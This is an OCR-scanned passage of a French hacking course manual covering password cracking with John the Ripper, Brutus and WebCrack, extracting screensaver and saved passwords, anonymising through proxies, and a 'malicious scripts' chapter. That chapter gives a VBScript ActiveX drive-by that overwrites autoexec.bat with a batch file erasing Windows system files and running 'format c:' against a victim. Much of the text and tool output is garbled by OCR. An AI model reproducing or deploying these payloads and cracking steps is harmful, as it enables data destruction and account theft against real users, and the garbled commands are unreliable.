—restore [:FILE] restore an interrupted sesszion [from FILE]
—zession:FILE zet zeszion file name to FILE

—status[:FILE] print status of a session [from FILE]
—makechars :FILE make a charset,. FILE will be overwritten
—shouw show cracked passwords

—test perform a benchmark

—users: [—ILOGINIUIDL...]1 load this (these? useri(s> only

—groups: [—1GIDIL...1 load wusers of thiz (thesze? groupisz> only
—szhells: [-1SHELLL, .. 1] load wusers with this (these? shellis}» only
—galts: [—JCOUNT load szalts with at least COUMT paszwordsz only
—format : MAME force ciphertext format HAME <DES-BSDI-MDS5-BF-AFS-LH>
—zavemnemn: LEUEL enable memory saving, at LEUEL 1..3

Une fois le soft installé, tapez les commandes suivantes (dans cette exemple, le fichier dictionnaire et
passwd se trouvent sur une disquette):
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C:nJohn—16%prun>john —test
Benchmarking: Standawrd DES [24-32 4K1... DOME
Many salts: @727 css
Only one salt: 66933 crs

john -test (pour voir si john

Benchmarking: BSDI DES <(x725> [24-32 4K1... DONE

fonctionne correctement) Many salts: 1798 cs

john -single a:\passwd (méthode Mieliane salls  1h3t eos

rapide de john pour cracker les pass) LEGTRTLERSETTENS SWAY: 13 T |1 e b T3 TR |11 o

john -show a:\passwd (permet de e  dedlnas

visualiser les pass crackés) Benchmarking: OpenBSD Blowfish ¢x32> [32-321... DOME
john -w:a:\dico.txt a:\passwd (attaque e EEIE:

avec dictionnaire) Benchmarking: Kerberos AFS DES [24-32 4K1... DONE
john -i a:\passwd (attaque par brut phiares  Bdlill ozl

Long: 168567 crs
force)

Benchmarking: HNT LM DES [24-32 4K1... DOME
Raw: 457237 o=

Il — Serveur

Une des maniéres qui permet de pénétrer sur un serveur est d'utiliser le cracking.
Pour cracker un site on peut utiliser un soft comme WebCrack qui permet de faire une attaque par
dictionnaire sur une page utilisant I'authentification HTTP.

[T web Cracker E =l 5| Mok de passe réseau = 2=l
File Edit Tools Help
Uzer D Pazzworndz ! »
St ' [furte [crriniz ?> Tapez votre nom d'utilisateur et volre mot de paszse,
7 [adrin ﬁi 654321 o :
Stop administrator 1938 J Site: 127.0.0.1
aaran pazzword
Clear Prdz ab 1234 : .
4.| b 13245 Darmaive phphdddmin on localhost
Clear UID s aEEB lqwerty _]
_____J t =
b - | gk =l Moo d'utilizateur ]|
S 1 Tiy 3 of 23905 Try 30k 19
TargetURL:  [132.158.0.2:801] Mat de passe 1
LOG |
Usb racksr 2illicoded by DailTo = [T Erregistrer ce mat de passe dans volre liste de mots de pazse
Beginning attack on 19Z.168.0.2:301
(Z00) FOUND: Tser=w Pas=z= Dage 5i
{200} FOUMD: User= Pass=1 . Dage Siz Q. | Annuler

Halting attack on 13Z2_168.0.Z:901

Last ID/Password attempted was admnin ¢ adwming
-

Ll L A

Eracklngattemethalted |E'aCk?d 2 C|'deSSUS un exemple dl|dent|f|Cat|on HTTP
Ci-contre l'interface principale de wwwcrack.

Pour utiliser wwwCrack il nous faut plusieurs dictionnaires. Un pour les logins et un pour les pass.
Dans "Target URL", il faut mettre I'URL cible que I'on désire cracker. Dans notre exemple on essaye de
cracker une machine local, utilisant SWAT (interface HTML de Samba qui requiére une authentification
par login/mot de pass sur le port 901).
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Brutus est un soft comme wwwhack sauf qu'il permet de cracker divers services comme FTP, POP3,

Telnet, SMB, etc...

% |Brutus - AET2 - www.hoobie.net /brutus - {January 2000} N 5 ll:llﬂ
File Tools Help
Target [127.0.01 Type |HTTP Basic futhl = | Stat | Stop | Clear

—Connection Option:

Part 130

Cannectians = [ 10" Timeout ',-.j.......... i

[~ UseProwy  Define |

~HTTPF [Baszic] Option:

Method IHEAD "I ¥ Keepélive
—Authentication Option
v Usze Usemanme I~ Single User Pasz Mode IWDrd List 'I

User File Iusers.txt

Browsel PassFile  |words bat

Browse |

Positive Authentication Results

Target

| Tupe | zemmame | Fazzword

Located and installed

1 authenhication plug-ins

=
o

| Timeout  Feject  AuthiSeq

Thrattle: Guick Kl

Idle

|V — Screensavers

Les méthodes pour contourner ou trouver un pass d'ecran de veille.

1.Lorsque I'écran de veille n'est pas actif :

Les options sont a peut
prét les mémes que pour
les softs précédents
"Connection Options"
Target : Ip cible

Type : Type de services
(FTP,Telnet,etc...)

Port : Port cible
Connections : Nombre de
connexions simultanés
Timeout : Durée du
timeout

Proxy : pour utiliser un
proxy (se référer plus loin
dans le cours)

"Services Options"
Suivant le type de
services sélectionné vous
aurez diverses options
dans cette partie.

"Authentification Options"
Pass Mode : type
d'attaque (dico, hybride,
brut force)

Suivant le mode choisi,
vous aurez diverses
options.

-1l est possible pour un pirate de voir le mot de pass de votre écran de veille, grace a un soft comme
Screen Saver Password (http://www.ptorris.com/)

En un click il vous affiche le mot de pass de votre écran de veille.
-Récuperez le fichier user.dat se trouvant dans c:\windows\profiles\[utilisateur]\ . Enregistrez le fichier sur
une disquette, trouvez une autre machine utilisant Win9x et remplacez votre fichier user.dat par celui que
vous avez récupéré. En utilisant le soft "Screen Saver Password" vous aurez directement le pass en clair.
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/ Paszzword : PASS10

Copyricht @ Plome TORRIS

2.Lorsque I'écran de veille est actif :

-Essayez la combinaison CTRL+ALT+SUPPR pour essayer de faire apparaitre le gestionnaire de taches
et ainsi désactiver le screensaver.

-Rebootez la machine sous DOS pour récupérer le fichier user.dat.

-Avec Cdsaver (http://welcome.to/wangsdomain) il est possible de creer un cd autobootable sous
windows qui permettrait de cracker un mot de pass d'écran de veille actif, si I'options autobootCD de
windows est active. Ce qui aurait pour effet de lancer automatiquement CDsaver (soft de brut force)
directement a partir du Cdrom.

Imaginons vous vous connectez a internet de fassons automatique (le pass n'est pas demandé a chaque
démarrage d'internet). Il serait facile pour quelgqu'un qui aurait accés a votre machine de voir votre pass
grace a un soft du genre Snadboy's Révélation (http://www.snadboy.com) ou VuPassword
(http://www.ptorris.com/).

Avec Révélation:
N 2ixl

¥ SnadBoy's Revelation ¥1.1 x|

Parameétres de messagerie Internet (HTTP)

Chacun de ces paramétres est obligatoire pour que votre comph BassmardEisld & alactar
i
Informations utilisateur Informations = I@

: ; : 1. Lett click and drag the crosz to
e Ihackﬂrzvmce Potisssicen s desired passward field
Adresse de messagerie : Ihzvoice@aol.com LRL duserveur . 2 Readthe revesled password
belaw
Im Pazswiord

Informations de connexion

Mom d'utilisateur : Ihzvgice

Mok de passe : [r——

|pa$$h2v

SnadBoy on the web  hitp: /s snadboy. com |

v Mémoriser e mot de passe

[T Se connecter 4 laide de Camments, questions dzchless@snadboy. com |
l'authentification par mok de
passe secuUrise [SPA) T

< Précédent Suivant » Annuler |
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Il suffit de faire un click gauche sur la cible, de maintenir le click et de déplacer la souris sur le pass a
révéler.Vous verrez apparaitre le pass en clair sur Révélation

Il existe une multitude de softs qui permet de cracker toute sorte de fichier protégé (pwl, sam, zip, excel,
word, etc...). Il est donc important de :

- Toujours choisir un mot de pass comportant un maximum de caractéres alphabétique, chiffres et
caractéres spéciaux (pour augmenter au maximum le temps que mettrait le hackeur a trouver votre
pass.

- Changer assez souvent de pass comme ¢a le hacker n'‘aura srement pas le temps de cracker votre
pass, vu qu'il changera a chaque fois.

- Mettre un pass BIOS pour accéder au Setup, au systéme d'exploitation et changer la séquence de
boot pour éviter de booter a partir d'une disquette.

— Eviter de demander & Windows de sauvegarder vos pass (access internet, messagerie, etc...).

- Installer un logiciel comme ZoneAlarm qui est simple d'utilisation pour ceux qui n'‘ont jamais utilisé de
Firewall, ce qui vous permettra de detecter toutes intrusions sur votre machine et de bloquer certains
port ou protocoles. Je vous conseil aussi l'installation d'un antivirus.

- Mettre a jour votre systeme d'exploitation, ainsi que tous vos logiciels, le plus souvent possible.
- Ne pas utiliser toujours le méme pass pour vos diverses identifications.

- Toujours changer le mot de pass par défaut de tous les services installé sur votre machine.

- Ne pas stocké de fichier SAM sur son systeme NT, qui puisse étre accessible a tous.

Link:

- http://www.lostpassword.com (site avec divers crackeurs de pass)

- http://www.zonelabs.com (site officiel pour télécharger ZoneAlarm)

- http://www.try2hack.nl (Challenges pour tester vos capacités a cracker un pass)
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Anonymat
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Mais...comment font ces hackeurs pour caché leur IP ??
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Sur internet il existe divers services qui permettent de cacher votre IP suivant le protocole utilisé...ll ne
faut pas confondre ce que je vais vous décrire ci-dessous avec ce que I'on appelle le "spoofing".

Pour étre anonyme en surfant la méthode la plus simple est de se trouver un proxy HTTP (proxyWeb) qui
se trouve par défaut sur le port 80 ou 8080.Certains scanners comme "Proxy Hunter" sont spécialisés
dans la recherche de proxy. Si vous n'avez pas de proxy sous la main, vous pouvez toujours utilisé
anonymizer.com pour caché votre IP. Il vous suffit de taper : "http://anon.free.anonymizer.com/" suivi de

['url a visitée.

/X Yahoo! France[Protected by-proxy6.anonymizer.com] - Microsoft Internet Explorer

J Fichier Edition  Affichage  Faworis Oukils 7

J s Précédente = =5 - '@ @ o3 | @Rechercher (] Favoris @Histnrique' | %v =] ﬁ

J Adresse |E} http:/fanon. free. anonymizer . comfhttp: {{Fr . vahoo.comy|

JAVASCRIPT BLOCK:
PRIVACY PROTECTION ON % a

URL ENCRYFTION: §
AD FILTERIN G

Jump Privately Ta: Ihﬂp r'l."l

Finanee Tchatche Mall
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Vous pouvez configurer |E pour qu'il
passe automatiquement par un proxy a
chaque connections. Pour cela cliquez
sur "Outils"-->"Options Internet...",
onglet "Connexions" et "Paramétres
LAN".

Cocher "Utiliser un serveur proxy" et
indiquez lui l'adresse et le port du
proxy par lequel vous voulez passer.

Si vous voulez utilisé Multiproxy pour gérer vous connections vous devrez spécifier dans I'adresse:

"127.0.0.1" et le port : "8088".

]rEF' MultiProxy w1.2a

Filz: Pro=zwlist Help

Connection status:
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IItilisez 'Assistant Connexion Internet pour
=i connecker votre ordinateur & Internet,

Paramétres du réseau local (LANY

—Configuration automatique

Configurer. ., I

2%

il

Al

La configuration automatique peut annuler les parametres manuels,
Pour garantir leur utilisation, désactives la configuration automatigue,

[ Détecter automatiguement les paramétres de Internet Explorer

[ Ukiliser le script de configuration automatique

Adtesse

— SEFYELr Droxy

¥ Utiliser un serveur prozy

Adresse ! —

¥ Mepas utiliser de serveur proxy pour les adresses locales

Port ¢ | 8080

Avanceés, ., |

o]

annuler |

Ik |

annuler | BEpliguer |

_{cif i

Configure vour browszer to connect wia 127.0.0.1 pork 3088

v Stay ontop
Sbhout, .

Optionz...

Check all prozies

pdate proewy lizt. .,

Cloze
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Multiproxy est téléchargeable sur http://www.multiproxy.org.
Multiproxy est tres utile car il vous permet de:

- changer de proxy a chaque pages visitées

- tester toute une liste de proxies (rapidité, anonymat)

- classer tous les proxies suivant leur vitesse

cliquez sur "Check all proxies" pour dire a Multiproxy de vérifier chaque proxy.

cliquez sur "Options", onglet "Proxy Server List". Dans cette fenétre vous pouvez apercevoir les proxies
qu'utilise Muliproxy. Un proxy précédé d'un cercle rouge, signifie qu'il ne fonctionne pas (vous pouvez le
supprimer pour éviter de le tester a chaque démarrage).

& &1 EED 2s. 1'IE a0s0 Bl EED 33, 'I'IE B251  pes wes 0
@ 6122218248 a0e0  B1.222.182.45 11134 pes pez 0
@ 12223 a0e0  B1.221.2.38 334 rio o 0
@ 51.220129.245 abal  B1.220.123.245 1056 no Hio 0

Pour ajouter une nouvelle liste de proxy il suffit déja d'une trouvée une. Allez faire un tour sur
http://www.multiproxy.org/anon_list.htm .Faites un copier collé de la liste dans un fichier texte et nommé
le proxy.txt par exemple. Ensuite, toujours dans I'onglet "Proxy servers list" cliquez sur "Menu" --> "Files"
-->"Import proxy list".

(SN NI [ A

Enable 8080 612
B 8080 61.2
Test anonvmiky anen Bl
Tewi bt 8080 B1.2
Force to bewalid 4480 8011
Add. .. oy, B Il ne vous reste plus qu'a lui indique le fichier a
Edilt.t.. :ggg g; importer et & "Check" de nouveau tous les
elete o
a030  B1.2: proxy.
Prioscy lisk L onon B4
Import procey list. .,
Find Fastest, ., Expott all. ..
| R I Expiort anonymaus. , .

Export all IPs...

Faites un click droit sur l'icone de Mproxy en bas a droite dans la barre Edes taches.
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About, .

Emable (Use proxy servers)

Disable (direct connection)

Le menu qui apparait, vous permet surtout d'activer I'utilisation de proxy
ou pas, d'un simple click au lieu de passer par les "Paramétres LAN" de
IE.

Cpkions. ..

IIpdate proy list, ,
Test all proxy servers
Exit

E --> passage par proxy activé

H --> passage par proxy desactive

Vous pouvez tester votre Anonymat sur le site de la CNIL : http://www.cnil.fr/traces/index.htm
Un bon site sur la vie privée : http://www.anonymat.org/

Maintenant, je vais vous montrer comment passé par un proxy sock (utilisé pour le connexion
permanentes). Je vais vous montrer comment se connecter au travers d'un proxy sock en utilisant un
petit soft comme sockcaps qui permet de faire passer n'importe quelle application par un proxy sock.
(utile dans le cas ou vous voulez faire passer une application par un sock qui ne le propose pas dans ses
options). Vous pouvez télécharger Sockcaps la --> http://www.clubic.com/t/gen/fl1087.html . Il faut savoir
que les Proxy Sock ne peuvent pas etre utilisé pour surfer. Les socks sont utilisé dans la plus part des
cas pour se connecter sur un serveur FTP, IRC, ICQ, etc... Par défaut les proxy sock écoutent sur le port
1080.

Dans mon exemple je vais combiner sockcaps avec la commande ftp de windows (c:\windows\ftp.exe).
Configuration de Sockcaps :
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SocksCap Settings

SOCKS Settings |

]

Specify yaur SOCES server address and select the
pratocaol version bo use for communication.
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— Server

SOCKS Server. |

Paort: 1020

Pour configurer Sockcaps cliquez sur "File" -->

— Protocol

% SOCKS Yersion 4

"Settings" dans l'interface principale. Une fois sur
l'onglet "Socks Settings", il vous faut lui indiquer

SOCKS User 1D |Crashfr

 SOCKS Version 5

I'adresse du proxy sock dans "SOCKS Server" et le
port qui est par défaut 1080.
La différence entre les Socks version 4 et 5 c'est que

=Mame Fesolutioh
% Hesolveal names locally
{7 Fesolve &l names rematel
€ Attempblocal herremote

la version 4 ne necessite pas d'identification par login
et pass. Vous n'etes donc pas obligé de remplir
"Socks User ID".

— Supportediduthentimation

[T Uzemiame/Fasswond

Annuler

o |

Appliquer

Dés que votre sockcaps est bien configuré, revenez a l'interface principale et cliquez sur "New".

{35 SocksCap Control I Il |

File View Help
0| *

Mew | Delete

)

o

Madify Foar!

The Hackademy DMP

x|

Browze. . |

New Application Profile B

Prafile i ame: I

Command Line: I

YWwhorking Directon: I

T

Cancel |

x
Frofile M ame: Iftp
Comriiand Line: il::'xWINNT"usystemEE"«ftp.e:-:e
Warking Directorny: iE:'\.WI MM T \apztem32s,

Ok

Cancel |
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Clikez sur "Browse" dans la fenétre"New Application Profile" et indiquez a sockcaps quel soft il doit faire
passé par le proxy Sock. Dans I'exemple j'ai pris ftp.exe se trouvant dans le répertoire
C:\WINNT\system32\ftp.exe (Win2k). Clikez sur "OK" pour refermer la fenétre.

45 SocksCap Control _ 10O x|

File Wiew Help

x

Delete

Madify

i

[ew

Fun!

Double cliquez sur le soft a lancer, a partir de
sockcaps ou cliquez sur "Run". Un fenétre DOS
avec l'invite ftp devrait apparaitre...

Maintenant que ftp est lancé, il faut lui demander de se connecter a un FTP valide. Pour cela tapes :
"open [IP de la machine]" comme ci-dessous :

SWINNT, system32 ftp.exe

x a—t » Microsoft FTP Service (Uersion 5.8>.
Utilisateur ¢211.44.136.75:Cnone?? = Anonymous
331 Anonymous access allowed, send identity Ce—mail name? as password.
Mot de passe =
2380 Anonymous uszer logged in.
ftp> help
Les commandes peuvent £tre abrégées. Ces commandes sont =

delete literal prompt send
debug 1= put status
dir mde lete pd trace
disconnect mdir gquit type
get mget guote user
gloh mkdir rECY verhosze
hazh mls remotehelp

help mput rename

1lcd OpPEn rmdipr

Des que vous voyez "connecté a [IP de la machine] c'est que votre connexion a reussie !! Voila
maintenant vous étes anonyme en utilisant la commande ftp ;)

Attention : Il faut toujours relancer la commande ftp a partir de sockcaps sinon vous n'utiliserez pas de
proxy...
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CHAPITRE X

Scripts malicieux
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C'est partie du cours a pour but de vous montrer I'utilisation que pourrait faire une personne malveillante
avec des fichiers .bat (sans oublier autoexec.bat), vous apprendre les commandes DOS. Pour mettre en
oeuvre ce .bat on utilisera une faille ActiveX pour créer des fichiers .bat sur votre disque.

Pour construire votre premier fichier html, il vous faudra juste un notepad Windows ou tout autre editeur
de texte. Créez un nouveau document texte en faisant un click droit sur votre bureau. Nommez le test.txt
pour le moment. Ouvrez le en double clickant dessus. Voici la structure de base d'un fichier Html que
vous devrez taper (sans les commentaires) pour contruire une page blanche nommeée "Ma premiére
page internet" :

<HTML>

<HEAD>

<!I-ici I'entete de votre page vous pouvez y inclure par exemple le titre de votre page ->
<TITLE>Ma premiére page internet</TITLE>

</HEAD>

<BODY>
<!I-ici se trouve le corps de votre page, c'est dans cette partie que vous devrez inclure votre script
ActiveX->
</BODY>

</HTML>

Entre les balises "<!-" et "->" vous trouverez les commentaires qui n‘apparaissent pas sur votre
navigateur mais juste au niveau de la source de la page. Pour plus d'info sur le language HTML -->
http://www.ac-grenoble.fr/gb/htmldoc.htm

On peut trouver sur internet une multitude de scripts qui exploitent différentes failles pour lire, écrire,
modifier des fichiers sur un disque client. Le script ci-dessous sera le script qui permettra I'écriture d'un
fichier .bat sur votre disque.ll est a inclure dans une page HTML entre les balises <BODY> et </BODY>.
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<script language="VBScript">

Set BatFile = FSO.CreateTextFile("c:\autoexec.bat", 2, False)

BatFile.WriteLine "[ici]"

BatFile.WriteLine "[ici sera inclu le contenu du fichier .bat ligne par ligne que nous verront plus bas]"
BatFile.Close

</script>

Nom du fichier .bat (dans notre exemple on va écraser le fichier autoexec.bat).
A la place du texte en bleu souligné il faudra inclure ligne par ligne, le contenu du fichier .bat a écrire.

Passons maintenant a I'explication et a I'écriture du contenu du fichier .bat.

Les fichiers .bat permettent I'exécution automatique de commandes DOS (et oui c'est aussi simple que
ca;)

Le fichier autoexec.bat de votre Win9x par exemple exécute toutes les commandes qu'on lui demande
au démarrage de Windows.

Pour pouvoir construire correctement notre fichier .bat, il faut connaitre les principales commandes DOS :

cd..

cd [repertoire]
choice

cls

copy [fichier]
[dossier]

del [fichier]
dir /p

dir

@echo off
[commande]
echo.

echo [texte]
edit [fichier]

erase [chemin
fichier]

The Hackademy DMP

Les commandes DOS
revient au dossier racine
aller dans un sous dossier
['utilisateur doit faire un choix
efface ce qu'ily a a I'écran

copie un fichier dans un dossier

efface un fichier
affiche le contenu d'un dossier en plusieurs fois
affiche le contenu d'un dossier

n'affiche pas les commandes a la suite

saute une ligne
affiche le texte se trouvant a la suite
affiche le fichier texte et permet de I'éditer

efface un fichier (pas d'accord demandé)
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format [lecteur]
goto

if

mem

mkdir [dossier]
pause

ren [fichier1] .
[nouvelle
extension]

rename [fichier1]
[nouveau nom]

rmdir [dossier]
type [fichier texte]
ver

vol [lecteur]
c:\windows\*.*

c:\windows\*.
[extension]
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format un disque (accord victime demandé)

demande de branchement (saut)

branchement conditionnel

affiche I'espace disque

crée un dossier

pour que le programme continu, il faut appuyer sur une touche

change l'extension du fichier 1 par la nouvelle extension

renomme le fichier1 par le nouveau nom

efface un dossier

affiche le contenu d'un fichier txt

affiche la version du DOS

affiche le nom d'un lecteur

indique tout le contenu d'un dossier (demande autorisation)

indique tous les fichiers d'un certains type du dossier windows (pas
d'autorisation demandé)

Pour avoir plus d'aide sur le command dos il suffit dans une fenétre DOS de taper la commande voulu

suivie de "/?".

ex: c:\windows\command>ping /?

Contenu du fichier .bat:

Voici un exemple qui obligerait la victime a tout réinstaller:

The Hackademy DMP
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@echo off

erase c:\windows\*.exe

erase c:\windows\command.com
erase c:\autoexec.bat

erase c:\keyb.com

erase c:\keyfr.com

erase c:\Key.com

erase c:\ansi.sys

erase c:\windows\format.com
erase c:\windows\*.com

cls

dir/p c:\windows\

pause

echo.

echo Bonne reinstallation ;)
echo.

echo On va commencer par formater hein ?
pause

vol c:

format c:

Ce fichier est a utilisé avec beaucoup de précautions...

Chacune des lignes du fichier .bat est a inclure dans notre script et notre fichier html est fini. Il ne vous
reste plus qu'a le tester en double clickant dessus. Cela aura pour effet d'écraser le fichier .bat et au
prochain reboot, I'exécution automatique de notre fichier .bat (autoexce.bat).

Protection :
Désactiver activeX dans les paramétres de votre navigateur ou vérifier le code source avant de
I'exécuter.

Affichage  Faworis  Outils

Barres d'outils ]
v Barre d'gtat

Yolet d'exploration b

aller & »

Arréter Echap Pour voir la source d'une page Internet, cliquez sur "affichage"-->"source"
Actualiser FS dans IE.

Taille du texte J

Codage k

Source

Plein &cran Fi1

Il est important de bien paramétrer son navigateur en utilisant les options de sécuritéde IE.
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Paramétres de sécurité ' 2=

Paramétres
|£| Contrdles Activelr et plugins AI
- I@ Contrdles Ackivel reconnus sdrs pour '&criture de scripks
) o
= Ackiver
GEngral  Securité IContenu I Connexions I Programmes I Avarcées l @ Cemander
Sélectionnez une zone de contenu 'Web pour specifier ses paramétres de : o
L e 2 ) Désactiver
o e @ Contrdles d'initialisation et de script Activer non margueés «
Ackiver
Inkranet local Sikes de Sites sensibles 0
confiance 0 Demander
Internet {8} Désactiver
@ Cette zone contient baus les sites : - - 7 .
@Web que vous riavez pas placés —IE"'ES"' @ Exécuter les contrdles Activel et les plugins
dans dautres zanes, D Ackiver
~Miveal de scurité pour cette zone D A . Fadiiriste gt
PRrouve par Fadministratedr
Personnalisé @ Demander -
Paramétres personnalisés, 4 I B I »
- Pour modifier vos paramétres, ciquez sur Personnaliser le
niveal.
- Pour utiliser les paramétres recommandgs, cliquez sur Miveau .- - - oL
i ~Reétablir les paramétres personnalisés

Rétablir : [Moyen v|  Rétabir |

Personnaliserleniveau...l Niveau par défaut |
o | ame | s | Pour modifier les options de sécurité cliquez sur "Outils"--

>"Options Internet".Onglet "Sécurité". En clickant sur
"Personnaliser le niveau..." vous pourrez désactiver I'exécution
du Javascript, ActiveX ou l'utilisation de cookies par exemple. Si
VOUS ne savez pas a quoi correspond une certaine option, je
vous conseil de mettre toujours I'option "demander" ou
"désactiver".
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Glossaire :

cracker : Personne qui casse des protections logicielles.
crasher : personne qui détruit un systéme pour le plaisir.

DOS : couche logicielle indépendante de Windows ( 98 1ere et Seconde édition) et intégrée par la suite
(ME et supérieures)

DoS : Déni de Service, qui consiste a bloquer un systéeme via, généralement, du flood.

DDoS : c'est lorsque plusieurs machines éxécutent la méme attaque sur une méme cible dans le but d'un
DoS.

exploit : moyen pour exploiter une faille sur un serveur.
flag : option qui spécifie le type d'un paquet au niveau de sa construction.
flooder : personne ou logiciel qui va répéter un processus en boucle de sorte a surcharger un systéme.

lamer : Individu nauséabond qui passe ses journées a embéter tout le monde sans raisons et qui ne
prend pas conscience de sa stupiditée.

newbie : koi vous savez pas ce que c'est ?

nuke : vieille technique inemployée a ce jour qui consiste a envoyer un paquet particulier a un systeme
Windows 95 pour en altérer le fonctionnement.

phreak : technique de piratage des lignes téléphoniques et des réseaux de télécommunication.
smurf : réutilisation d'un réseau dans le relai de paquets, pour surcharger une cible.
sniffing : méthode qui consiste a espionner tous les paquets qui transitent sur un réseau

social Engineer : c'est une personne qui se fait passer pour une autre afin d'obtenir des informations
privées dans la vie réelle.

socket : couche logicielle qui permet la communication réseau.

spoofing : méthode qui consiste a camoufler I'adresse source d'un attaquant au niveau des paquets
réseaux (IP)
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Contact

The HACKADEMY SCHOOL
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Sysdream

1 Villa du clos de Malevart 75011 Paris.
Tel: 01 40 21 04 28
e-mail: hackademy@thehackademy.net

The HACKADEMY JOURNAL [~
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26 bis rue jeanne d'Arc 94160 St Mandé
Tel: 01 53 66 95 28
e-mail: abonnements@dmpfrance.com
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e
e’ the HACKADEMY ,c'est aussi:

The hackadermy Journal, The hackademy manuel et d'autres numéros
spéciaux!!!!!

SECURITE INFORMATIQUE ET HACHKING PRATIQUE

= |the HACKADEMY
= Jg!mw/ (T “MANUEL

i TERREUR suRr LE CHAT .

the HACKADEMY

1 0 i s e s A i v i
A e A 5 e
St e sosaabin 3, 4, O

GSM qul peut espionner wtre portable ?

Cryptographie Tout savoir sur le
w Maths © bes voies de la factorisation, p. 7 | AL L at: L= 04
o L'essentlel de & cryplo moderne, p, 18 | [PERRCTEETEE, 1 ]

o / + P B
[ 2 Full-disclosure * Crgu'i. sscumisg I-IA.C K.NG
e :ﬁ__-:wl: PacketStorm | Pana Ly n'-uu_mul_ =3
#'enpligme dans nurre

INEerVIeW | Pim. sterien. iis. pergle

TECHNIGQUES A DOUBLETRANCHANT
Acess physique : root fdcile . bios hacking
Windows APl hooking : 2 méthodes . 2 listings

e a  w— Détectigh d'intrusion : snorfisystrace « hypass

Alors n'hésitez pas a vous abonner, en remplissant le formulaire suivant :
1

"-.5- Abonnement Hackademy Journal (tous les mois) : 32€ O PACKAGE PUBLICATIONS :
~ Avec CD : +4€ 0O Abonnement journal + abonnement manuel : 60 €
i—'_'-'u\ Abonnement Hackademy Manuel (Tous les deux mois) : 28€ [J Eans ,I"_:E Eafkagfs' le CD est offert g
=% Avec CD : +4€ 0O wec T shirt : +15 euros
~<#, Nos cours par correspondances (Hack1, Hack 2 et Hack3) PACKAGE HACKTION :
@ _. Les deux volumes de 80 pages livrés chez vous : 84€ 0O Abonnement journal + abonnement manuel +
Avec CD : +4€ 0 Cours par correspondance Hack1, 2 et 3: 130 €
y Dans ce package, le CD est offert O
LaCH ol 164 Avec T shirt : + 15 euros 0O
— 1 Le T shirt hlstorlque
-t"f-_ " Intrusion . exe 2z3€ 0O TOTAL : I:l
N 2 T S S S e iy DI S S R D AR A
[ par cheque 3 lordre de DMP O SU RPN SUT ST - - + -1 - . | | TS OU O S —
O par Garte Bene OO0 0000 0000 O0O0OO Ville : .. Pays:o.... -
Signature
Erwoyez votre bulletin acompagné de votre reglement a l'ordre de D.M.P. 2 The Hackademy 26 bis rue Jeanne d'Arc 94160 Samt Mande
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Crée par les formateurs de I'hackademy, SYSDREAM est une SSII spécialisée en sécurité
informatique.

Nous apportons aux entreprises notre expertise pour assurer
aux entreprises la fiabilité et la sécurité de leur infrastructure
informatique.

Nos domaines d'intervention:

Audit de sécurité: il permet de faire une expertise globale de votre systéme (test intrusif, audit
technique, audit de vulnérabilité).

Les produits Systech sécurité: Des solutions matérielles destinées a renforcer la sécurité de votre
infrastructure, et assurant un suivi performant de tout type d'événement réseau ou systeme.

Le dévelopement d'applications: De |la maitrise d'oeuvre a la conception technique, nous pouvons
intervenir ou vous conseiller dans toutes les phases du développement de votre application.

www.sysdream.com

Pour toute information: info@sysdream.com
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